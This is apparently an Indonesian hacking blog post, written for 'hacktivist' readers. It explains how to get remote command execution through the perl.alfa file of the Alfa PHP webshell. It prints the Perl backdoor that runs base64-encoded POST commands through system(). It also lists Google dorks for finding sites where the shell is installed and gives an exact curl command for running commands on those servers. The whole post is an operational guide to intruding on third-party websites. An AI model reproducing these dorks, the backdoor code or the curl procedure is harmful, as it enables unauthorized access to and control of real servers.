Berbeda dari vulnerability lainnya, vulnerability ini terdapat pada salahsatu php webshell yaitu alfa shell yang biasa kita pakai ketika melakukan hacktivist.
Bugnya terdapat pada file perl.alfa yang jika di lihat codenya akan terlihat seperti dibawah ini.
#!/usr/bin/perl -I/usr/local/bandmin use MIME::Base64;print "Content-type: text/html\n\n";if($ENV{'REQUEST_METHOD'} eq "POST"){my ($i, $key, $val, $in);read(STDIN, $in, $ENV{'CONTENT_LENGTH'});@in = split(/&/, $in);foreach $i (0 .. $#in){$in[$i] =~ s/\+/ /g;($key, $val) = split(/=/, $in[$i], 2);$key =~ s/%(..)/pack("c", hex($1))/ge;$val =~ s/%(..)/pack("c", hex($1))/ge;$in{$key} .= "\0" if (defined($in{$key}));$in{$key} .= $val;}if($in{"cmd"}){print decode_base64($in{"check"})."<pre>";system(decode_base64($in{"cmd"}));print "</pre>"}}
Coba lihat code yang saya tandai, dalam code tsb terdapat code yang berfungsi untuk menjalankan perintah pada server.
Sekarang mari kita coba exploit.
Dork:
- inurl:/ALFA_DATA/alfacgiapi/
- inurl:/ALFA_DATA/
- inurl:/alfacgiapi/
Gunakan dork diatas untuk mencari website yang rentan.
Kemudian kita encode dulu perintah yang akan kita jalankan pada saat melakukan RCE dengan base64.
Buka terminal dan jalankan perintah di bawah ini.
echo -n 'uname -a' | base64
Atau kalian bisa melakukan encode base64 secara online melalui website penyedia base64 encode yang bisa kalian cari sendiri di google.
Untuk bagian yang sudah saya tandai adalah perintah untuk melihat versi karnel, bisa kalian ganti perintah menjadi ls -la /
untuk melihat directory ataupun perintah yang lainnya.
Perintah di atas akan menghasilkan code seperti berikut ini:
dW5hbWUgLWE=
Kemudian kita akan memanfaatkan curl untuk melakukan request dan mendapatkan post data yang dihasilkan.
Caranya dengan memasukan perintah seperti di bawah ini di terminal.
curl -d "cmd=dW5hbWUgLWE=" -X POST https://site.com/ALFA_DATA/alfacgiapi/perl.alfa
Bagian yang saya tandai adalah perintah eksekusi yang sudah di encode dengan base64 tadi. Kalian bisa menggantinya sendiri dengan perintah yang lain.
Itulah tadi cara exploitasi vulnerability yang terdapat pada Alfa Shell dengan memanfaatkan kesalahan pada file perl.alfa yang berfungsi sebagai perintah eksekusi pada webshell tsb. Terkesan sebagai boomerang wkwk.